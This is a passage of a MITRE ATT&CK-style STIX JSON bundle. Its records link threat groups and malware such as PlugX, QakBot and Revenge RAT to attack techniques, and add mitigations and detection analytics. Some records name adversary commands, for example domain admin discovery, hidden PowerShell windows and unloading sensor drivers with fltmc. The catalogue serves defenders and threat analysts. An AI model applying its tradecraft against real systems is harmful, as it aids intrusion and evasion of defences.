S. and Caban, D. (2017, December 19). APT34 - New Targeted Attack in the Middle East. Retrieved December 20, 2017.", "url": "https://www.brighttalk.com/webcast/10703/296317/apt34-new-targeted-attack-in-the-middle-east"}, {"source_name": "Unit42 OilRig Playbook 2023", "description": "Unit42. (2016, May 1). Evasive Serpens Unit 42 Playbook Viewer. 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(2022). Delving Deep: An Analysis of Earth Lusca\u2019s Operations. Retrieved July 1, 2022.", "url": "https://www.trendmicro.com/content/dam/trendmicro/global/en/research/22/a/earth-lusca-employs-sophisticated-infrastructure-varied-tools-and-techniques/technical-brief-delving-deep-an-analysis-of-earth-lusca-operations.pdf"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2022-09-02T19:08:33.399Z", "description": "[Earth Lusca](https://attack.mitre.org/groups/G1006) has compromised Google Drive repositories.(Citation: TrendMicro EarthLusca 2022)", "relationship_type": "uses", "source_ref": "intrusion-set--cc613a49-9bfa-4e22-98d1-15ffbb03f034", "target_ref": "attack-pattern--ae797531-3219-49a4-bccf-324ad7a4c7b2", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "2.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--2dc7b1ac-48d5-48cc-9298-3e11b4658cb6", "created": "2022-08-11T22:03:48.473Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Checkpoint MosesStaff Nov 2021", "description": "Checkpoint Research. (2021, November 15). Uncovering MosesStaff techniques: Ideology over Money. Retrieved August 11, 2022.", "url": "https://research.checkpoint.com/2021/mosesstaff-targeting-israeli-companies/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2022-10-11T19:32:05.103Z", "description": "[PyDCrypt](https://attack.mitre.org/software/S1032), along with its functions, is written in Python.(Citation: Checkpoint MosesStaff Nov 2021)", "relationship_type": "uses", "source_ref": "malware--2ac41e8b-4865-4ced-839d-78e7852c47f3", "target_ref": "attack-pattern--cc3502b5-30cc-4473-ad48-42d51a6ef6d1", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--2dc986cb-ed76-42ba-9dd9-edaba07b0cc7", "type": "relationship", "created": "2019-05-02T01:07:36.889Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Cylance Shaheen Nov 2018", "url": "https://www.cylance.com/content/dam/cylance-web/en-us/resources/knowledge-center/resource-library/reports/WhiteCompanyOperationShaheenReport.pdf?_ga=2.161661948.1943296560.1555683782-1066572390.1555511517", "description": "Livelli, K, et al. (2018, November 12). Operation Shaheen. Retrieved May 1, 2019."}, {"description": "Gannon, M. (2019, February 11). With Upgrades in Delivery and Support Infrastructure, Revenge RAT Malware is a Bigger Threat. Retrieved May 1, 2019.", "url": "https://cofense.com/upgrades-delivery-support-infrastructure-revenge-rat-malware-bigger-threat/", "source_name": "Cofense RevengeRAT Feb 2019"}], "modified": "2019-06-12T20:05:18.198Z", "description": "[Revenge RAT](https://attack.mitre.org/software/S0379) has the ability to access the webcam.(Citation: Cylance Shaheen Nov 2018)(Citation: Cofense RevengeRAT Feb 2019)", "relationship_type": "uses", "source_ref": "malware--bdb27a1d-1844-42f1-a0c0-826027ae0326", "target_ref": "attack-pattern--6faf650d-bf31-4eb4-802d-1000cf38efaf", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--2dcd6644-f1d4-4001-81a5-95701fd29360", "type": "relationship", "created": "2020-01-30T16:36:51.574Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"description": "NSA IAD. (2017, January 24). MS Security Guide. Retrieved December 18, 2017.", "source_name": "GitHub IAD Secure Host Baseline UAC Filtering", "url": "https://github.com/iadgov/Secure-Host-Baseline/blob/master/Windows/Group%20Policy%20Templates/en-US/SecGuide.adml"}], "modified": "2021-08-31T19:55:02.841Z", "description": "Enable pass the hash mitigations to apply UAC restrictions to local accounts on network logon. The associated Registry key is located <code>HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System\\LocalAccountTokenFilterPolicy</code>.\n\nThrough GPO: Computer Configuration > [Policies] > Administrative Templates > SCM: Pass the Hash Mitigations: Apply UAC restrictions to local accounts on network logons.(Citation: GitHub IAD Secure Host Baseline UAC Filtering)", "relationship_type": "mitigates", "source_ref": "course-of-action--2c2ad92a-d710-41ab-a996-1db143bb4808", "target_ref": "attack-pattern--e624264c-033a-424d-9fd7-fc9c3bbdb03e", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--2dcd9a05-5503-404c-8820-614932f63880", "created": "2022-03-30T14:26:51.851Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2024-02-14T21:49:36.653Z", "description": "Monitor executed commands and arguments that may attempt to block indicators or events typically captured by sensors from being gathered and analyzed. Adversaries may attempt to evade system defenses by unloading minifilter drivers used by host-based sensors such as Sysmon through the use of the fltmc command-line utility. Accordingly, this analytic looks for command-line invocations of this utility when used to unload minifilter drivers.\n", "relationship_type": "detects", "source_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", "target_ref": "attack-pattern--74d2a63f-3c7b-4852-92da-02d8fbab16da", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--2dcfc7b7-ead5-4996-b70d-205d4f9d59f5", "type": "relationship", "created": "2020-06-10T18:15:11.806Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Trend Micro Tick November 2019", "url": "https://documents.trendmicro.com/assets/pdf/Operation-ENDTRADE-TICK-s-Multi-Stage-Backdoors-for-Attacking-Industries-and-Stealing-Classified-Data.pdf", "description": "Chen, J. et al. (2019, November). Operation ENDTRADE: TICK\u2019s Multi-Stage Backdoors for Attacking Industries and Stealing Classified Data. Retrieved June 9, 2020."}], "modified": "2020-06-24T01:27:32.381Z", "description": "[BBK](https://attack.mitre.org/software/S0470) has the ability to inject shellcode into svchost.exe.(Citation: Trend Micro Tick November 2019)", "relationship_type": "uses", "source_ref": "malware--f0fc920e-57a3-4af5-89be-9ea594c8b1ea", "target_ref": "attack-pattern--43e7dc91-05b2-474c-b9ac-2ed4fe101f4d", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--2dd15583-34cd-4b49-a6ba-4bd647b7ff27", "created": "2018-01-16T16:13:52.465Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "DFIR Phosphorus November 2021", "description": "DFIR Report. (2021, November 15). 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Retrieved September 13, 2019."}], "modified": "2020-11-20T20:11:15.378Z", "description": "The different components of [Machete](https://attack.mitre.org/software/S0409) are executed by Windows Task Scheduler.(Citation: ESET Machete July 2019)(Citation: Securelist Machete Aug 2014)", "relationship_type": "uses", "source_ref": "malware--35cd1d01-1ede-44d2-b073-a264d727bc04", "target_ref": "attack-pattern--005a06c6-14bf-4118-afa0-ebcd8aebb0c9", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--2e53dad4-17cc-4fe6-a3b9-d622075d78f7", "created": "2020-11-13T20:31:37.017Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "ESET Grandoreiro April 2020", "description": "ESET. (2020, April 28). Grandoreiro: How engorged can an EXE get?. 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(2019, October). OPERATION GHOST. Retrieved September 23, 2020."}], "modified": "2021-06-02T20:40:34.124Z", "description": "[LiteDuke](https://attack.mitre.org/software/S0513) has used image files to hide its loader component.(Citation: ESET Dukes October 2019)", "relationship_type": "uses", "source_ref": "malware--95e2cbae-d82c-4f7b-b63c-16462015d35d", "target_ref": "attack-pattern--c2e147a9-d1a8-4074-811a-d8789202d916", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--2e661579-5e24-486f-9c8e-624fb18b0b85", "type": "relationship", "created": "2020-07-17T15:48:51.663Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "CME Github September 2018", "url": "https://github.com/byt3bl33d3r/CrackMapExec/wiki/SMB-Command-Reference", "description": "byt3bl33d3r. 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(2017, June 06). Privileges and Credentials: Phished at the Request of Counsel. Retrieved May 17, 2018."}], "x_mitre_deprecated": false, "revoked": false, "description": "[APT19](https://attack.mitre.org/groups/G0073) used <code>-W Hidden</code> to conceal [PowerShell](https://attack.mitre.org/techniques/T1059/001) windows by setting the WindowStyle parameter to hidden. (Citation: FireEye APT19)", "modified": "2022-04-19T20:58:31.323Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "relationship_type": "uses", "source_ref": "intrusion-set--fe8796a4-2a02-41a0-9d27-7aa1e995feb6", "target_ref": "attack-pattern--cbb66055-0325-4111-aca0-40547b6ad5b0", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--2e77d363-e38f-40ad-a6ef-9222dc12793d", "type": "relationship", "created": "2017-05-31T21:33:27.053Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07205555/TheNaikonAPT-MsnMM1.pdf", "description": "Baumgartner, K., Golovkin, M.. (2015, May). The MsnMM Campaigns: The Earliest Naikon APT Campaigns. Retrieved April 10, 2019.", "source_name": "Baumgartner Naikon 2015"}], "modified": "2019-04-10T15:59:09.517Z", "description": "[Naikon](https://attack.mitre.org/groups/G0019) uses commands such as <code>netsh advfirewall firewall</code> to discover local firewall settings.(Citation: Baumgartner Naikon 2015)", "relationship_type": "uses", "source_ref": "intrusion-set--2a158b0a-7ef8-43cb-9985-bf34d1e12050", "target_ref": "attack-pattern--cba37adb-d6fb-4610-b069-dd04c0643384", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--2e80a049-220e-4d47-98f7-c0dbfe245cdc", "type": "relationship", "created": "2017-12-14T16:46:06.044Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "F-Secure The Dukes", "description": "F-Secure Labs. (2015, September 17). The Dukes: 7 years of Russian cyberespionage. Retrieved December 10, 2015.", "url": "https://www.f-secure.com/documents/996508/1030745/dukes_whitepaper.pdf"}], "modified": "2020-03-19T23:56:41.619Z", "description": "[PinchDuke](https://attack.mitre.org/software/S0048) steals credentials from compromised hosts. [PinchDuke](https://attack.mitre.org/software/S0048)'s credential stealing functionality is believed to be based on the source code of the Pinch credential stealing malware (also known as LdPinch). Credentials targeted by [PinchDuke](https://attack.mitre.org/software/S0048) include ones associated many sources such as WinInet Credential Cache, and Lightweight Directory Access Protocol (LDAP).(Citation: F-Secure The Dukes)", "relationship_type": "uses", "source_ref": "malware--ae9d818d-95d0-41da-b045-9cabea1ca164", "target_ref": "attack-pattern--0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--2e82ef21-9fb2-421e-bd96-73599089b448", "type": "relationship", "created": "2018-01-16T16:13:52.465Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "http://www.clearskysec.com/wp-content/uploads/2017/07/Operation_Wilted_Tulip.pdf", "description": "ClearSky Cyber Security and Trend Micro. (2017, July). Operation Wilted Tulip: Exposing a cyber espionage apparatus. Retrieved August 21, 2017.", "source_name": "ClearSky Wilted Tulip July 2017"}], "modified": "2020-03-30T02:00:38.186Z", "description": "[CopyKittens](https://attack.mitre.org/groups/G0052) uses ZPP, a .NET console program, to compress files with ZIP.(Citation: ClearSky Wilted Tulip July 2017)", "relationship_type": "uses", "source_ref": "intrusion-set--dcd81c6e-ebf7-4a16-93e0-9a97fa49c88a", "target_ref": "attack-pattern--00f90846-cbd1-4fc5-9233-df5c2bf2a662", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--2e83c5c4-76f3-46a3-980f-0063069671cf", "type": "relationship", "created": "2019-01-30T16:39:54.531Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"description": "Grunzweig, J.. (2017, April 20). Cardinal RAT Active for Over Two Years. Retrieved December 8, 2018.", "url": "https://researchcenter.paloaltonetworks.com/2017/04/unit42-cardinal-rat-active-two-years/", "source_name": "PaloAlto CardinalRat Apr 2017"}], "modified": "2020-03-20T18:11:42.227Z", "description": "[Cardinal RAT](https://attack.mitre.org/software/S0348) can download and execute additional payloads.(Citation: PaloAlto CardinalRat Apr 2017)", "relationship_type": "uses", "source_ref": "malware--b879758f-bbc4-4cab-b5ba-177ac9b009b4", "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--2e87ee5b-2cf9-427f-b8c7-363e37daed88", "created": "2022-04-07T17:41:38.384Z", "x_mitre_version": "0.1", "external_references": [{"source_name": "Check Point Warzone Feb 2020", "url": "https://research.checkpoint.com/2020/warzone-behind-the-enemy-lines/", "description": "Harakhavik, Y. (2020, February 3). Warzone: Behind the enemy lines. Retrieved December 17, 2021."}], "x_mitre_deprecated": false, "revoked": false, "description": "[WarzoneRAT](https://attack.mitre.org/software/S0670) can collect data from a compromised host.(Citation: Check Point Warzone Feb 2020)", "modified": "2022-04-07T17:41:38.384Z", "relationship_type": "uses", "source_ref": "malware--fde19a18-e502-467f-be14-58c71b4e7f4b", "target_ref": "attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5", "x_mitre_attack_spec_version": "2.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--2e8b176a-b8a8-4bd0-8542-97ff009c673c", "created": "2022-06-09T19:02:12.045Z", "x_mitre_version": "0.1", "external_references": [{"source_name": "Palo Alto Unit 42 OutSteel SaintBot February 2022 ", "url": "https://unit42.paloaltonetworks.com/ukraine-targeted-outsteel-saintbot/", "description": "Unit 42. (2022, February 25). Spear Phishing Attacks Target Organizations in Ukraine, Payloads Include the Document Stealer OutSteel and the Downloader SaintBot. Retrieved June 9, 2022."}], "x_mitre_deprecated": false, "revoked": false, "description": "[Saint Bot](https://attack.mitre.org/software/S1018) has been obfuscated to help avoid detection.(Citation: Palo Alto Unit 42 OutSteel SaintBot February 2022 )", "modified": "2022-06-09T19:02:12.045Z", "relationship_type": "uses", "source_ref": "malware--7724581b-06ff-4d2b-b77c-80dc8d53070b", "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", "x_mitre_attack_spec_version": "2.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--2e8e6362-ce7e-4fd5-8c9b-8b85b6f35a58", "type": "relationship", "created": "2021-08-24T14:29:21.644Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "CISA MAR-10292089-1.v2 TAIDOOR August 2021", "url": "https://us-cert.cisa.gov/ncas/analysis-reports/ar20-216a", "description": "CISA, FBI, DOD. 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Retrieved August 24, 2021."}], "modified": "2021-08-24T14:29:21.644Z", "description": "[Taidoor](https://attack.mitre.org/software/S0011) has the ability to modify the Registry on compromised hosts using <code>RegDeleteValueA</code> and <code>RegCreateKeyExA</code>.(Citation: CISA MAR-10292089-1.v2 TAIDOOR August 2021)", "relationship_type": "uses", "source_ref": "malware--b143dfa4-e944-43ff-8429-bfffc308c517", "target_ref": "attack-pattern--57340c81-c025-4189-8fa0-fc7ede51bae4", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--2e9d5640-a88d-4812-b2dc-a94621a95959", "type": "relationship", "created": "2021-01-25T13:58:25.265Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Securelist Dtrack", "url": "https://securelist.com/my-name-is-dtrack/93338/", "description": "Konstantin Zykov. (2019, September 23). Hello! My name is Dtrack. Retrieved January 20, 2021."}], "modified": "2021-01-25T13:58:25.265Z", "description": "[Dtrack](https://attack.mitre.org/software/S0567)\u2019s RAT makes a persistent target file with auto execution on the host start.(Citation: Securelist Dtrack)", "relationship_type": "uses", "source_ref": "malware--f8774023-8021-4ece-9aca-383ac89d2759", "target_ref": "attack-pattern--1ecb2399-e8ba-4f6b-8ba7-5c27d49405cf", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--2e9e3384-b624-46aa-9a15-eff8eae2b6e1", "created": "2023-03-26T19:46:47.991Z", "revoked": false, "external_references": [{"source_name": "Group IB Ransomware September 2020", "description": "Group IB. (2020, September). LOCK LIKE  A PRO. Retrieved September 27, 2021.", "url": "https://groupib.pathfactory.com/ransomware-reports/prolock_wp"}, {"source_name": "Red Canary Qbot", "description": "Rainey, K. (n.d.). Qbot. Retrieved September 27, 2021.", "url": "https://redcanary.com/threat-detection-report/threats/qbot/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-03-26T19:46:47.991Z", "description": "[QakBot](https://attack.mitre.org/software/S0650) can store its configuration information in a randomly named subkey under <code>HKCU\\Software\\Microsoft</code>.(Citation: Red Canary Qbot)(Citation: Group IB Ransomware September 2020)", "relationship_type": "uses", "source_ref": "malware--edc5e045-5401-42bb-ad92-52b5b2ee0de9", "target_ref": "attack-pattern--02c5abff-30bf-4703-ab92-1f6072fae939", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--2ea75990-7349-4d67-8ec1-f4168792af23", "created": "2022-08-16T17:58:28.329Z", "x_mitre_version": "0.1", "external_references": [{"source_name": "Unit 42 PingPull Jun 2022", "url": "https://unit42.paloaltonetworks.com/pingpull-gallium/", "description": "Unit 42. (2022, June 13). GALLIUM Expands Targeting Across Telecommunications, Government and Finance Sectors With New PingPull Tool. Retrieved August 7, 2022."}], "x_mitre_deprecated": false, "revoked": false, "description": "[PingPull](https://attack.mitre.org/software/S1031) can collect data from a compromised host.(Citation: Unit 42 PingPull Jun 2022)", "modified": "2022-08-16T17:58:28.329Z", "relationship_type": "uses", "source_ref": "malware--3a0f6128-0a01-421d-8eca-e57d8671b1f1", "target_ref": "attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5", "x_mitre_attack_spec_version": "2.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--2eae8ade-1ddb-41d4-82cc-572b1158c06c", "type": "relationship", "created": "2021-06-11T19:53:34.578Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Malwarebytes Kimsuky June 2021", "url": "https://blog.malwarebytes.com/threat-analysis/2021/06/kimsuky-apt-continues-to-target-south-korean-government-using-appleseed-backdoor/", "description": "Jazi, H. (2021, June 1). Kimsuky APT continues to target South Korean government using AppleSeed backdoor. Retrieved June 10, 2021."}], "modified": "2021-06-11T19:53:34.578Z", "description": "[AppleSeed](https://attack.mitre.org/software/S0622) can identify the IP of a targeted system.(Citation: Malwarebytes Kimsuky June 2021)", "relationship_type": "uses", "source_ref": "malware--295721d2-ee20-4fa3-ade3-37f4146b4570", "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--2eaea386-ee0f-42c4-bca1-ce2d22062f98", "type": "relationship", "created": "2017-12-14T16:46:06.044Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://www.secureworks.com/research/threat-group-3390-targets-organizations-for-cyberespionage", "description": "Dell SecureWorks Counter Threat Unit Threat Intelligence. (2015, August 5). Threat Group-3390 Targets Organizations for Cyberespionage. Retrieved August 18, 2018.", "source_name": "Dell TG-3390"}], "modified": "2019-04-19T15:08:16.037Z", "description": "[PlugX](https://attack.mitre.org/software/S0013) can be configured to use raw TCP or UDP for command and control.(Citation: Dell TG-3390)", "relationship_type": "uses", "source_ref": "malware--64fa0de0-6240-41f4-8638-f4ca7ed528fd", "target_ref": "attack-pattern--c21d5a77-d422-4a69-acd7-2c53c1faa34b", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--2eb32b46-9833-4391-b282-c7ee10bbfc62", "created": "2022-12-22T18:42:46.433Z", "revoked": false, "external_references": [{"source_name": "Mandiant APT41", "description": "Rufus Brown, Van Ta, Douglas Bienstock, Geoff Ackerman, John Wolfram. (2022, March 8). Does This Look Infected? A Summary of APT41 Targeting U.S. State Governments. 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(2011, December 12). Another Sykipot sample likely targeting US federal agencies. Retrieved March 28, 2016.", "url": "https://www.alienvault.com/open-threat-exchange/blog/another-sykipot-sample-likely-targeting-us-federal-agencies"}], "modified": "2020-03-18T20:46:32.465Z", "description": "[Sykipot](https://attack.mitre.org/software/S0018) may use <code>net group \"domain admins\" /domain</code> to display accounts in the \"domain admins\" permissions group and <code>net localgroup \"administrators\"</code> to list local system administrator group membership.(Citation: AlienVault Sykipot 2011)", "relationship_type": "uses", "source_ref": "malware--6a0ef5d4-fc7c-4dda-85d7-592e4dbdc5d9", "target_ref": "attack-pattern--21875073-b0ee-49e3-9077-1e2a885359af", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--2ebbb8a5-a5f2-495d-bdf3-c49701edb26b", "type": "relationship", "created": "2020-02-18T18:34:49.716Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://technet.microsoft.com/library/cc755321.aspx", "description": "Microsoft. (2014, November 19). Security Considerations for Trusts. Retrieved November 30, 2017.", "source_name": "Microsoft Trust Considerations Nov 2014"}, {"url": "https://technet.microsoft.com/library/cc794757.aspx", "description": "Microsoft. (n.d.). Configuring SID Filter Quarantining on External Trusts. Retrieved November 30, 2017.", "source_name": "Microsoft SID Filtering Quarantining Jan 2009"}, {"url": "https://technet.microsoft.com/library/cc835085.aspx", "description": "Microsoft. (2012, September 11). Command-Line Reference - Netdom Trust. Retrieved November 30, 2017.", "source_name": "Microsoft Netdom Trust Sept 2012"}, {"url": "https://adsecurity.org/?p=1640", "description": "Metcalf, S. (2015, August 7). Kerberos Golden Tickets are Now More Golden. Retrieved December 1, 2017.", "source_name": "AdSecurity Kerberos GT Aug 2015"}], "modified": "2021-02-09T15:49:58.567Z", "description": "Clean up SID-History attributes after legitimate account migration is complete.\n\nConsider applying SID Filtering to interforest trusts, such as forest trusts and external trusts, to exclude SID-History from requests to access domain resources. SID Filtering ensures that any authentication requests over a trust only contain SIDs of security principals from the trusted domain (i.e preventing the trusted domain from claiming a user has membership in groups outside of the domain).\n\nSID Filtering of forest trusts is enabled by default, but may have been disabled in some cases to allow a child domain to transitively access forest trusts. SID Filtering of external trusts is automatically enabled on all created external trusts using Server 2003 or later domain controllers. (Citation: Microsoft Trust Considerations Nov 2014) (Citation: Microsoft SID Filtering Quarantining Jan 2009) However note that SID Filtering is not automatically applied to legacy trusts or may have been deliberately disabled to allow inter-domain access to resources.\n\nSID Filtering can be applied by: (Citation: Microsoft Netdom Trust Sept 2012)\n\n* Disabling SIDHistory on forest trusts using the netdom tool (<code>netdom trust /domain: /EnableSIDHistory:no</code> on the domain controller)\n\n* Applying SID Filter Quarantining to external trusts using the netdom tool (<code>netdom trust <TrustingDomainName> /domain:<TrustedDomainName> /quarantine:yes</code> on the domain controller)\n\n* Applying SID Filtering to domain trusts within a single forest is not recommended as it is an unsupported configuration and can cause breaking changes. (Citation: Microsoft Netdom Trust Sept 2012) (Citation: AdSecurity Kerberos GT Aug 2015) If a domain within a forest is untrustworthy then it should not be a member of the forest. In this situation it is necessary to first split the trusted and untrusted domains into separate forests where SID Filtering can be applied to an interforest trust", "relationship_type": "mitigates", "source_ref": "course-of-action--e3388c78-2a8d-47c2-8422-c1398b324462", "target_ref": "attack-pattern--b7dc639b-24cd-482d-a7f1-8897eda21023", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--2ebf0505-4b0a-4e17-b303-b860585f7c11", "type": "relationship", "created": "2021-12-02T15:20:09.433Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Talos TinyTurla September 2021", "url": "https://blog.talosintelligence.com/2021/09/tinyturla.html", "description": "Cisco Talos. (2021, September 21). TinyTurla - Turla deploys new malware to keep a secret backdoor on victim machines. Retrieved December 2, 2021."}], "modified": "2021-12-02T15:20:09.433Z", "description": "[TinyTurla](https://attack.mitre.org/software/S0668) can install itself as a service on compromised machines.(Citation: Talos TinyTurla September 2021)", "relationship_type": "uses", "source_ref": "malware--2a7c1bb7-cd12-456e-810d-ab3bf8457bab", "target_ref": "attack-pattern--f1951e8a-500e-4a26-8803-76d95c4554b4", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--2ecdcdb3-6aa2-4888-921f-e9506ebbd00c", "type": "relationship", "created": "2021-12-07T18:39:06.274Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Gigamon Berserk Bear October 2021", "url": "https://vblocalhost.com/uploads/VB2021-Slowik.pdf", "description": "Slowik, J. (2021, October). THE BAFFLING BERSERK BEAR: A DECADE\u2019S ACTIVITY TARGETING 